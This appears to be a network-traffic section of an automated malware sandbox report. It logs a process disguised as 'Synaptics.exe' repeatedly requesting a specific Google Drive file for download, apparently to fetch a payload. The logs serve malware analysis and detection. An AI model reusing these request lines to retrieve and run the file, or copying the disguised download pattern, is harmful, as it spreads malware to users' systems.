Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
